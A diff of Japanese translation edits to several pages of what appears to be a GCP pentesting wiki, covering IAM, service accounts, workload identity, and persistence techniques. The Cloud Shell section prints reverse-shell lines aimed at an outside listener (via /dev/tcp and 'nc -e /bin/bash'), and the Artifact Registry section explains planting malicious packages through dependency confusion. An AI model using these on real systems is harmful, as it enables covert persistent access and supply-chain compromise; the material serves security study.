* **新しいプロジェクトの内部DNS設定をゾーンDNSのみに設定する:** サービスの可用性が低下するレガシーDNS設定の使用を防ぎます。
- **デフォルトネットワークの作成をスキップする:** デフォルトのVPCネットワークと関連リソースの自動作成を防ぎます。これにより、過剰なデフォルトファイアウォールルールを回避できます。
- **デフォルトネットワークの作成をスキップする:** デフォルトのVPCネットワークと関連リソースの自動作成を防ぎます。これにより、過剰な権限を持つデフォルトファイアウォールルールを回避できます。
* **VPC外部IPv6の使用を無効にする:** 不正なインターネットアクセスにさらされる可能性のある外部IPv6サブネットの作成を防ぎます。
@@ -94,21 +94,21 @@ Organization
これらはAWSのIAMポリシーのように、**各ロールには一連の権限が含まれています。**
しかし、AWSとは異なり、**ロールの中央リポジトリはありません**。その代わりに、**リソースはYプリンシパルにXアクセスロールを付与し、リソースへのアクセス権を持つ人を知る唯一の方法は、そのリソースに対して**`get-iam-policy`メソッドを使用することです。**\
これは問題になる可能性があります。なぜなら、**プリンシパルがどの権限を持っているかを知る唯一の方法は、すべてのリソースに対して誰に権限を与えているかを尋ねることになるからです**。ユーザーはすべてのリソースから権限を取得する権限を持っていない可能性があります。
しかし、AWSとは異なり、**ロールの中央リポジトリはありません**。その代わりに、**リソースはYプリンシパルにXアクセスロールを付与し、リソースへのアクセス権を持つ人を知る唯一の方法は、そのリソースに対して** `get-iam-policy` メソッドを使用することです。\
これは問題になる可能性があります。なぜなら、**プリンシパルがどの権限を持っているかを知る唯一の方法は、すべてのリソースに対して誰に権限を与えているかを尋ねることからです**。ユーザーはすべてのリソースから権限を取得する権限を持っていない可能性があります。
IAMには**3種類の**ロールがあります:
- **基本/プリミティブロール**、これはIAM導入前に存在した**オーナー**、**エディター**、および**ビューア**ロールを含みます。
- **事前定義されたロール**、特定のサービスに対する詳細なアクセスを提供し、Google Cloudによって管理されます。多くの事前定義されたロールがあり、**それらが持つ権限をすべて** [**こちら**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles)で確認できます
- **事前定義されたロール**、特定のサービスに対する詳細なアクセスを提供し、Google Cloudによって管理されます。多くの事前定義されたロールがあり、**それらが持つ権限をすべて確認できます** [**こちら**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles)。
- **カスタムロール**、ユーザーが指定した権限のリストに基づいて詳細なアクセスを提供します。
GCPには数千の権限があります。ロールが権限を持っているかどうかを確認するには、[**こちらで権限を検索**](https://cloud.google.com/iam/docs/permissions-reference)し、どのロールがそれを持っているかを確認できます。
また、[**こちらで事前定義されたロールを検索**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation)することもできます。注意すべきは、いくつかの**ロール**はユーザーに付与できず、**サービスアカウントのみ付与できる**ことです。なぜなら、それらが含む権限のためです。\
また、[**こちらで事前定義されたロールを検索**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **各製品によって提供されます。** 一部の**ロール**はユーザーに付与できず、**サービスアカウントのみ付与されることに注意してください。**\
さらに、**権限**は**関連するサービスに付与されている場合にのみ**有効になります。
また、**カスタムロールが** [**ここで特定の権限を使用できるかどうかを確認できます**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**。**
また、**カスタムロールが** [**特定の権限を使用できるかどうかを確認できます**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**。**
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -118,13 +118,13 @@ GCPには数千の権限があります。ロールが権限を持っている
**GCPコンソール**には**ユーザーやグループ**の管理はなく、それは**Google Workspace**で行われます。ただし、Google Workspaceで異なるアイデンティティプロバイダーを同期することは可能です。
Workspacesの**ユーザーとグループには** [**https://admin.google.com**](https://admin.google.com/)アクセスできます。
Workspacesの**ユーザーとグループには** [**https://admin.google.com**](https://admin.google.com/) からアクセスできます。
**MFA**はWorkspacesユーザーに**強制**できますが、**攻撃者**はトークンを使用してGCPに**cli経由でアクセスでき、MFAによって保護されません**(ユーザーが生成するためにログインしたときにのみMFAによって保護されます:`gcloud auth login`)。
## グループ
組織が作成されると、いくつかのグループが**作成されることが強く推奨されます**れらのいずれかを管理している場合、組織全体または重要な部分が侵害される可能性があります:
組織が作成されると、いくつかのグループが**作成されることが強く推奨されます**。これらのいずれかを管理している場合、組織全体または重要な部分が侵害される可能性があります:
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>グループ</strong></td><td><strong>機能</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(チェックリストに必要なグループまたは個人アカウント)</em></td><td>組織に属する任意のリソースを管理します。このロールは慎重に割り当ててください。組織管理者はすべてのGoogle Cloudリソースにアクセスできます。代わりに、この機能は非常に特権が高いため、グループを作成するのではなく、個別のアカウントを使用することを検討してください。</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(チェックリストに必要)</em></td><td>ネットワーク、サブネット、ファイアウォールルール、およびCloud Router、Cloud VPN、クラウドロードバランサーなどのネットワークデバイスを作成します。</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(チェックリストに必要)</em></td><td>請求アカウントを設定し、その使用状況を監視します。</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(チェックリストに必要)</em></td><td>アプリケーションの設計、コーディング、およびテストを行います。</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>アクセス管理や<a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">組織制約ポリシー</a>を含む、組織全体のセキュリティポリシーを確立および管理します。Google Cloudセキュリティ基盤ガイドの<a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">詳細</a>を参照してください。</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>継続的インテグレーションとデリバリー、監視、システムプロビジョニングをサポートするエンドツーエンドのパイプラインを作成または管理します。</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>プロジェクトの支出を監視します。典型的なメンバーは財務チームの一部です。</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>Google Cloud組織全体のリソース情報を確認します。</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>クラウドセキュリティをレビューします。</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>ネットワーク構成をレビューします。</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>監査ログを表示します。</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>Security Command Centerを管理します。</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>Secret Managerでのシークレットを管理します。</td></tr></tbody></table>
@@ -134,7 +134,7 @@ Workspacesの**ユーザーとグループには** [**https://admin.google.com**
- 8文字から100文字の間
- 再利用禁止
- 有効期限なし
- 他のプロバイダーを通じてWorkspaceにアクセスしている場合、これらの要件は適用されません。
- サードパーティプロバイダーを通じてWorkspaceにアクセスしている場合、これらの要件は適用されません。
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
@@ -142,32 +142,32 @@ Workspacesの**ユーザーとグループには** [**https://admin.google.com**
## **サービスアカウント**
これらは、**リソース**が**添付**され、GCPと簡単に対話するためにアクセスできるプリンシパルです。たとえば、VMに添付されたサービスアカウントの**auth token**にメタデータアクセスすることが可能です。\
これらは、**リソース**が**持つことができる**プリンシパルであり、GCPと簡単に相互作用するためにアクセスできす。たとえば、VMに**添付されたサービスアカウントの**authトークンにメタデータからアクセスすることが可能です。\
**IAMとアクセススコープ**の両方を使用する際にいくつかの**競合**が発生する可能性があります。たとえば、サービスアカウントが`compute.instanceAdmin`のIAMロールを持っている場合でも、侵害したインスタンスには`https://www.googleapis.com/auth/compute.readonly`のスコープ制限がかかっている可能性があります。これにより、インスタンスに自動的に割り当てられたOAuthトークンを使用して変更を加えることができなくなります。
これはAWSの**IAMロール**に似ています。しかし、AWSとは異なり、**任意の**サービスアカウントは**任意のサービスに添付**できます(ポリシーを介して許可する必要はありません)。
これはAWSの**IAMロール**に似ています。しかし、AWSとは異なり、**任意の**サービスアカウントは**任意のサービスに添付できます**(ポリシーを介して許可する必要はありません)。
使用を開始すると、実際に**GCPによって自動的に生成されるサービスアカウント**がいくつかあります。例えば:
```
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
```
しかし、**カスタムサービスアカウント**を作成してリソースにアタッチすることも可能で、次のようになります:
ただし、**カスタムサービスアカウント**を作成してリソースにアタッチすることも可能で、次のようになります:
```
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```
### **Keys & Tokens**
### **キーとトークン**
GCPにサービスアカウントとしてアクセスする主な方法は2つあります:
- **OAuthトークン経由**:これらはメタデータエンドポイントやHTTPリクエストを盗むなどの場所から取得するトークンで、**アクセススコープ**によって制限されます。
- **キー**:これらはサービスアカウントとしてリクエストに署名したり、サービスアカウントとしてアクションを実行するためのOAuthトークンを生成したりするための公開鍵と秘密鍵のペアです。これらのキーは制限と管理がより複雑なため危険です。そのため、GCPは生成しないことを推奨しています。
- **OAuthトークン経由**:これらはメタデータエンドポイントやHTTPリクエストを盗むことで得られるトークンで、**アクセススコープ**によって制限されます。
- **キー**:これらは公開鍵と秘密鍵のペアで、サービスアカウントとしてリクエストに署名したり、サービスアカウントとしてアクションを実行するためのOAuthトークンを生成したりすることができます。これらのキーは制限と管理が複雑なため危険です。そのため、GCPは生成しないことを推奨しています。
- サービスアカウントが作成されるたびに、**GCPはユーザーがアクセスできないサービスアカウント用のキーを生成します**(ウェブアプリケーションには表示されません)。[**このスレッド**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/)によると、このキーは**GCPによって内部的に使用され**、メタデータエンドポイントがアクセス可能なOAuthトークンを生成するためのアクセスを提供します。
### **Access scopes**
### **アクセススコープ**
アクセススコープは、GCP APIエンドポイントにアクセスするために**生成されたOAuthトークンに添付されます**。これらはOAuthトークンの**権限を制限します**。\
これは、トークンがリソースのオーナーに属していても、そのリソースにアクセスするためのトークンスコープを持っていない場合、トークンは**その権限を(悪用)するために使用できない**ことを意味します
つまり、トークンがリソースのオーナーに属していても、そのリソースにアクセスするためのスコープがトークンに含まれていない場合、トークンは**その権限を(悪用)するために使用できません**
Googleは実際に[推奨しています](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions)が、**アクセススコープは使用せず、IAMに完全に依存すること**です。ウェブ管理ポータルは実際にこれを強制しますが、カスタムサービスアカウントを使用してプログラム的にインスタンスにアクセススコープを適用することは依然として可能です。
@@ -186,11 +186,11 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
"access_type": "offline"
}
```
前述の**scopes**は、データにアクセスするために**`gcloud`**を使用して**default**で生成されたものです。これは、**`gcloud`**を使用すると、最初にOAuthトークンを作成し、それを使用してエンドポイントに連絡するためです。
前述の**scopes**は、データにアクセスするために**`gcloud`**を使用して**default**で生成されたものです。これは、**`gcloud`**を使用する際に最初にOAuthトークンを作成し、それを使用してエンドポイントに連絡するためです。
これらの中で最も重要なスコープは**`cloud-platform`**であり、基本的には**GCP内の任意のサービスにアクセス可能**であることを意味します。
[**ここにあるすべての可能なスコープのリストを見つけることができます**](https://developers.google.com/identity/protocols/googlescopes)****
**ここにあるすべての可能なスコープのリストを見つけることができます**[**all the possible scopes in here**](https://developers.google.com/identity/protocols/googlescopes)**.**
**`gcloud`**ブラウザ資格情報がある場合、他のスコープでトークンを**取得することが可能**です。次のようなことを行います:
```bash
@@ -204,13 +204,13 @@ gcloud auth application-default print-access-token
# To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
```
## **Terraform IAMポリシー、バインディングおよびメンバーシップ**
## **Terraform IAMポリシー、バインディングおよびメンバーシップ**
terraformによって定義されたように、[https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam)を使用してGCPで、リソースに対するアクセスを付与する方法はいくつかあります:
terraformによって定義されたように、[https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam)を使用してGCPでterraformを使用する場合、リソースに対するプリンシパルのアクセスを付与する方法はいくつかあります:
- **メンバーシップ**: **役割のメンバーとしてのプリンシパルを設定**し、役割やプリンシパルに対する**制限なし**で行います。ユーザーを役割のメンバーとして設定し、同じ役割のメンバーとしてグループを設定し、さらにそれらのプリンシパル(ユーザーとグループ)を他の役割のメンバーとして設定できます。
- **バインディング**: 複数の**プリンシパルを役割にバインド**できます。これらの**プリンシパルは他の役割にバインドされたり、メンバーになったりすることができます**。ただし、役割にバインドされていないプリンシパルが**バインドされた役割のメンバーとして設定されると、次回**バインディングが適用されると、メンバーシップは消えます**。
- **ポリシー**: ポリシーは**権威あるものであり**、役割とプリンシパルを示し、その後、**これらのプリンシパルは他の役割を持つことができず、これらの役割は他のプリンシパルを持つことができません**。そのポリシーが変更されない限り(他のポリシー、バインディング、またはメンバーシップでも)したがって、ポリシーで役割またはプリンシパルが指定されると、そのすべての特権は**そのポリシーによって制限されます**。明らかに、プリンシパルにポリシーを変更するオプションや特権昇格の権限(新しいプリンシパルを作成し、新しい役割にバインドするなど)が与えられた場合、これを回避することができます。
- **メンバーシップ**: **プリンシパルを役割のメンバーとして設定**し、役割やプリンシパルに対する**制限なし**で行います。ユーザーを役割のメンバーとして設定し、同じ役割のメンバーとしてグループを設定し、さらにそれらのプリンシパル(ユーザーとグループ)を他の役割のメンバーとして設定できます。
- **バインディング**: 複数の**プリンシパルを役割にバインド**できます。これらの**プリンシパルは他の役割にバインドされたり、メンバーであったりすることができます**。ただし、役割にバインドされていないプリンシパルが**バインドされた役割のメンバーとして設定**されると、次回**バインディングが適用されると、メンバーシップは消えます**。
- **ポリシー**: ポリシーは**権威あるものであり**、役割とプリンシパルを示し、その後、**これらのプリンシパルは他の役割を持つことができず、これらの役割は他のプリンシパルを持つことができません**。そのポリシーが変更されない限り(他のポリシー、バインディング、またはメンバーシップでも)したがって、ポリシーで役割またはプリンシパルが指定されると、そのすべての特権は**そのポリシーによって制限されます**。明らかに、プリンシパルにポリシーを変更するオプションや特権昇格の権限(新しいプリンシパルを作成し、新しい役割にバインドするなど)が与えられた場合、これを回避できます。
## 参考文献
@@ -6,7 +6,7 @@
### GCP
GCP**サービスアカウント**にGithubリポジトリから**Github Actions**のアクセスを与えるためには、以下の手順が必要です:
GithubリポジトリからGCP **サービスアカウント**への**Github Actions**の**アクセスを許可する**ためには、以下の手順が必要です:
- **必要な権限を持つサービスアカウントを作成**して、github actionsからアクセスできるようにします:
```bash
@@ -26,7 +26,7 @@ gcloud projects add-iam-policy-binding $projectId \
--member="serviceAccount:$saId" \
--role="roles/iam.securityReviewer"
```
- **新しいワークロードアイデンティティプール**を生成す:
- **新しいワークロードアイデンティティプール**を生成します:
```bash
# Create a Workload Identity Pool
poolName=wi-pool
@@ -39,7 +39,7 @@ poolId=$(gcloud iam workload-identity-pools describe $poolName \
--location global \
--format='get(name)')
```
- 新しい **ワークロードアイデンティティプール OIDC プロバイダー** を生成し、**信頼する** github actions(このシナリオでは org/repo 名によって):
- 新しい **ワークロードアイデンティティプール OIDC プロバイダー** を生成し、**信頼**する github actions(このシナリオでは org/repo 名による):
```bash
attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
@@ -65,7 +65,7 @@ gcloud iam service-accounts add-iam-policy-binding $saId \
> [!WARNING]
> 前のメンバーでは、サービスアカウントにアクセスするための条件として**`org-name/repo-name`**を指定していることに注意してください(ブランチのような**より制限的な**他のパラメータも使用できます)。
>
> ただし、ワイルドカードを使用して次のようなプロバイダーを作成することで、**すべてのgithubが**サービスアカウントにアクセスできるようにすることも可能です:
> ただし、ワイルドカードを使用して、**すべてのgithubがサービスアカウントにアクセスできるようにする**ことも可能です:
<pre class="language-bash"><code class="lang-bash"># Workload Identity Poolを作成
poolName=wi-pool2
@@ -82,7 +82,7 @@ gcloud iam workload-identity-pools providers create-oidc $poolName \
--project="${projectId}" \
--location="global" \
--workload-identity-pool="$poolName" \
--display-name="デモプロバイダー" \
--display-name="Demo provider" \
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
--issuer-uri="https://token.actions.githubusercontent.com"
@@ -99,7 +99,7 @@ providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
</strong></code></pre>
> [!WARNING]
> この場合、誰でもgithub actionsからサービスアカウントにアクセスできるため、**メンバーがどのように定義されているかを常に確認することが重要です**。\
> この場合、誰でもgithub actionsからサービスアカウントにアクセスできるため、**メンバーがどのように定義されているかを常に確認する**ことが重要です。\
> 常に次のようなものであるべきです:
>
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
@@ -1,19 +1,19 @@
# GCP - Permissions for a Pentest
# GCP - ペンテストのための権限
GCP環境をペンテストする場合、**GCP**で使用されている**すべてまたはほとんどのサービス**を**確認するため十分な権限**を要求する必要があります。理想的には、クライアントに次のことを依頼するべきです:
GCP環境をペンテストする場合、**GCP**で使用されている**すべてまたはほとんどのサービス**を**確認するため十分な権限**を要求する必要があります。理想的には、クライアントに次のことを依頼するべきです:
* **新しい**プロジェクトを**作成**する
* そのプロジェクト内に**サービスアカウント**を**作成**する**json資格情報**を取得)または**新しいユーザー**を作成する。
* **サービスアカウント**または**ユーザー**に、後で説明する**役割**を組織全体に**付与**する
* 作成したプロジェクトで、この記事で後述する**API**を**有効**にする
* **新しい**プロジェクトを**作成**
* そのプロジェクト内に**サービスアカウント**を**作成**(**json資格情報**を取得)するか、**新しいユーザー**を作成する。
* **サービスアカウント**または**ユーザー**に、後で説明する**役割**を**組織**に対して**付与**
* 作成したプロジェクトで、この記事で後述する**API**を**有効**
**提案されたツールを使用するための権限のセット**:
後で提案するツールを使用するための**権限のセット**
```bash
roles/viewer
roles/resourcemanager.folderViewer
roles/resourcemanager.organizationViewer
```
APIsを有効にする(starbaseから):
APIを有効にする(starbaseから):
```
gcloud services enable \
serviceusage.googleapis.com \
@@ -113,7 +113,7 @@ includedPermissions:
- storage.buckets.getIamPolicy
- storage.buckets.list
```
### [トグラフィー](https://lyft.github.io/cartography/modules/gcp/config.html)
### [トグラフィー](https://lyft.github.io/cartography/modules/gcp/config.html)
```
From https://lyft.github.io/cartography/modules/gcp/config.html
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## API キー
## API Keys
API キーに関する詳細情報は、以下を確認してください:
APIキーに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}
### 新しいものを作成する / 既存のものにアクセスする
### 新しいAPIキーの作成 / 既存のAPIキーへのアクセス
これを行う方法は、以下を確認してください:
@@ -12,10 +12,10 @@ App Engineに関する詳細情報は、以下を確認してください:
### コードの変更
実行中のバージョンのコードを変更するか、新しいものを作成できれば、バックドアを実行させて持続性を維持できます。
実行中のバージョンのコードを変更するか、新しいバージョンを作成できれば、バックドアを実行させて持続性を維持できます。
### 古いバージョンの持続性
**ウェブアプリケーションのすべてのバージョンが実行されます**。App Engineプロジェクトが複数のバージョンを実行していることがわかった場合、**バックドア**コードを含む**新しいバージョンを作成**し、その後**新しい正当な**バージョンを作成することで、最後のものが正当なものとなりますが、**バックドアが仕込まれたものも実行され続けます**
**ウェブアプリケーションのすべてのバージョンが実行されます**。App Engineプロジェクトが複数のバージョンを実行していることがわかった場合、**バックドア**コードを含む**新しいバージョンを作成**し、その後**新しい正当な**バージョンを作成することで、最後のバージョンが正当なものでありながら、**バックドアが仕込まれたバージョンも実行される**ことになります
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - アーティファクト レジストリの続性
# GCP - アーティファクト レジストリの続性
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,26 +12,26 @@
### 依存関係の混乱
- **リモートと標準**のリポジトリが**仮想**リポジトリで**混在**し、パッケージが両方に存在する場合、どうなりますか?
- **仮想リポジトリ**で**優先度が最も高く設定された**ものが使用されます
- **リモートと標準**のリポジトリが**仮想**リポジトリで**混在**し、両方にパッケージが存在する場合、どうなか?
- **仮想リポジトリ**で**優先度が最も高く設定されたもの**が使用され
- **優先度が同じ**の場合:
- **バージョン**が**同じ**であれば、**仮想リポジトリ**で**アルファベット順に最初のポリシー名**が使用されます
- そうでない場合は、**最も高いバージョン**が使用されます
- **バージョン**が**同じ**であれば、**仮想リポジトリ**で**アルファベット順に最初のポリシー名**が使用され
- そうでなければ、**最も高いバージョン**が使用され
> [!CAUTION]
> したがって、リモートリポジトリがより高いまたは同じ優先度を持っている場合、**公開パッケージレジストリ**で**最高バージョン(依存関係の混乱)**を**悪用**することが可能です
> したがって、リモートリポジトリがより高いまたは同じ優先度を持っている場合、**パブリックパッケージレジストリ**で**最高バージョン(依存関係の混乱)**を**悪用**することが可能です
この技術は、**続性**と**認証されていないアクセス**に役立ちます。悪用するには、アーティファクト レジストリに保存されている**ライブラリ名**を**知っている**必要があり、**同じライブラリを公開リポジトリ(例えばPythonのPyPi)**より高いバージョンで**作成**するだけです。
この技術は、**続性**と**認証されていないアクセス**に役立ちます。悪用するには、アーティファクト レジストリに保存されている**ライブラリ名**を**知っている**必要があり、**パブリックリポジトリ(例えばPythonのPyPi)**に同じライブラリを**より高いバージョン**で**作成**するだけです。
続性のために従うべき手順は次のとおりです:
続性のために従うべき手順は次のとおりです:
- **要件**: **仮想リポジトリ**が**存在**し、使用されている必要があります。**公開リポジトリ**に存在しない**名前**の**内部パッケージ**を使用する必要があります。
- リモートリポジトリが存在しない場合は作成します
- リモートリポジトリを仮想リポジトリに追加しま
- リモートリポジトリに**より高い(または同じ)優先度**を与えるために仮想レジストリのポリシーを編集します。\
- **要件**: **仮想リポジトリ**が**存在**し、使用されている必要があります。**パブリックリポジトリ**に存在しない**名前**の**内部パッケージ**を使用する必要があります。
- 存在しない場合はリモートリポジトリを作成する
- リモートリポジトリを仮想リポジトリに追加す
- リモートリポジトリにより高い(または同じ)優先度を与えるために仮想レジストリのポリシーを編集す。\
次のようなコマンドを実行します:
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
- 正当なパッケージをダウンロードし、悪意のあるコードを追加して、同じバージョンで公開リポジトリに登録します。開発者がインストールするたびに、彼はあなたのものインストールます!
- 正当なパッケージをダウンロードし、悪意のあるコードを追加して、同じバージョンでパブリックリポジトリに登録します。開発者がインストールするたびに、あなたのものインストールされます!
依存関係の混乱に関する詳細情報は、以下を確認してください:
@@ -4,7 +4,7 @@
## BigQuery
BigQueryに関する詳細情報は以下を確認してください
BigQueryに関する詳細情報は以下を確認してください:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md
@@ -12,7 +12,7 @@ BigQueryに関する詳細情報は以下を確認してください:
### さらなるアクセスの付与
侵害されたユーザー外部ユーザーに対して、データセット、テーブル、行、列へのさらなるアクセスを付与します。必要な権限とその方法については、以下のページを確認してください
データセット、テーブル、行、列に対して、侵害されたユーザーまたは外部ユーザーにさらなるアクセスを付与します。必要な権限とその方法については、以下のページを確認してください:
{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
@@ -4,7 +4,7 @@
## Cloud Functions
Cloud Functionsに関する詳細情報は、以下を確認してください:
Cloud Functionsに関する詳細は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -4,22 +4,22 @@
## Cloud Run
Cloud Runに関する詳細情報は、以下を確認してください
Cloud Runに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### バックドア付きリビジョン
### Backdoored Revision
Run Serviceの新しいバックドア付きリビジョンを作成し、一部のトラフィックをそれに分割します。
新しいバックドア付きリビジョンをRun Serviceとして作成し、一部のトラフィックをそれに分割します。
### 公開アクセス可能なサービス
### Publicly Accessible Service
サービスを公開アクセス可能にします。
### バックドア付きサービスまたはジョブ
### Backdoored Service or Job
バックドア付きサービスまたはジョブを作成します。
バックドア付きサービスまたはジョブを作成します。
{{#include ../../../banners/hacktricks-training.md}}
@@ -14,11 +14,11 @@
[**Google Cloud Shell**](https://cloud.google.com/shell/) は、関連するコストなしにブラウザから直接クラウドリソースへのコマンドラインアクセスを提供します。
**ウェブコンソール**からまたは**`gcloud cloud-shell ssh`**を実行することでGoogleのCloud Shellにアクセスできます。
**ウェブコンソール**からまたは**`gcloud cloud-shell ssh`**を実行することでGoogleのCloud Shellにアクセスできます。
このコンソールには攻撃者にとって興味深い機能があります:
1. **Google Cloudにアクセスできる任意のGoogleユーザー**は、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウント、組織のオーナーであってもアクセス可能です)。
1. **Google Cloudにアクセスできる任意のGoogleユーザー**は、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウント、組織のオーナーであってもアクセス可能です)。
2. そのインスタンスは**活動がない場合、少なくとも120日間はホームディレクトリを維持します**。
3. そのインスタンスの活動を**組織が監視する能力はありません**。
@@ -26,14 +26,14 @@
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
ホームフォルダには、**`.customize_environment`** という別のファイルがあり、存在する場合はユーザーが **cloud shell** にアクセスするたびに **実行されます**(前の技術と同様に)。前のバックドアや、以下のようなものを挿入して、ユーザーが「頻繁に」cloud shell を使用している限り、持続性を維持します:
ホームフォルダには **`.customize_environment`** という別のファイルがあり、存在する場合はユーザーが **cloud shell** にアクセスするたびに **実行されます**(前の技術と同様に)。前のバックドアや、以下のようなものを挿入して、ユーザーが「頻繁に」cloud shell を使用している限り、持続性を維持します
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> **認証を必要とするアクションが最初に実行されるとき**、ユーザーのブラウザにポップアップ認証ウィンドウが表示されることに注意することが重要です。このウィンドウは、コマンドを実行する前に受け入れられなければなりません。予期しないポップアップが表示されると、疑念を引き起こし、使用されている続性の方法が危険にさらされる可能性があります。
> **認証を必要とするアクションが最初に実行されるとき**、ユーザーのブラウザにポップアップ認証ウィンドウが表示されることに注意することが重要です。このウィンドウは、コマンドを実行する前に受け入れられなければなりません。予期しないポップアップが表示された場合、疑念を引き起こし、使用されている続性メソッドが危険にさらされる可能性があります。
これは、クラウドシェルから `gcloud projects list` を実行したときのポップアップ(攻撃者として)で、ブラウザのユーザーセッションで表示されます:
@@ -46,7 +46,7 @@ gcloud auth application-default print-access-token
```
#### SSH接続の確立方法
基本的に、これらの3つのAPI呼び出しが使用されます:
基本的に、これらの3つのAPIコールが使用されます:
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ローカルで作成した公開鍵を追加します)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (インスタンスを起動します)
@@ -13,7 +13,7 @@ Cloud SQLに関する詳細情報は、以下を確認してください:
### データベースを公開し、IPアドレスをホワイトリストに追加する
内部VPCからのみアクセス可能なデータベースは外部に公開でき、あなたのIPアドレスをホワイトリストに追加することでアクセスできます。\
詳細情報は以下のテクニックを確認してください:
詳細情報は以下の技術を確認してください:
{{#ref}}
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
@@ -22,13 +22,13 @@ Cloud SQLに関する詳細情報は、以下を確認してください:
### 新しいユーザーを作成する / ユーザーのパスワードを更新する / ユーザーのパスワードを取得する
データベースに接続するには、**データベースによって公開されたポートへのアクセス**と**ユーザー名**、**パスワード**が**必要です**。十分な権限があれば、**新しいユーザーを作成**したり、既存のユーザーの**パスワードを更新**したりできます。\
別のオプションは、いくつかのパスワードを試すことによって**ユーザーのパスワードをブルートフォースする**か、データベース内のユーザーの**ハッシュ化された**パスワードにアクセスしてそれを解読することです(可能な場合)。\
別のオプションは、いくつかのパスワードを試すことによって**ユーザーのパスワードをブルートフォースする**か、データベース内のユーザーの**ハッシュ化された**パスワードにアクセスしてそれを解読することです(可能であれば)。\
**GCP APIを使用してデータベースのユーザーをリストすることが可能であることを忘れないでください**。
> [!NOTE]
> 十分な権限があれば、GCP APIを使用するか、データベース内からユーザーを作成/更新できます。
> 十分な権限があれば、GCP APIを使用してユーザーを作成/更新することができますし、データベース内からも可能です。
詳細情報は以下のテクニックを確認してください:
詳細情報は以下の技術を確認してください:
{{#ref}}
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
@@ -13,7 +13,7 @@
### インスタンスとバックアップの持続性の悪用
- 既存のVMにバックドアを仕掛ける
- 新しいバージョンを作成するディスクイメージとスナップショットにバックドアを仕掛ける
- ディスクイメージとスナップショットにバックドアを仕掛けて新しいバージョンを作成す
- 特権SAを持つ新しいアクセス可能なインスタンスを作成する
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Dataflow
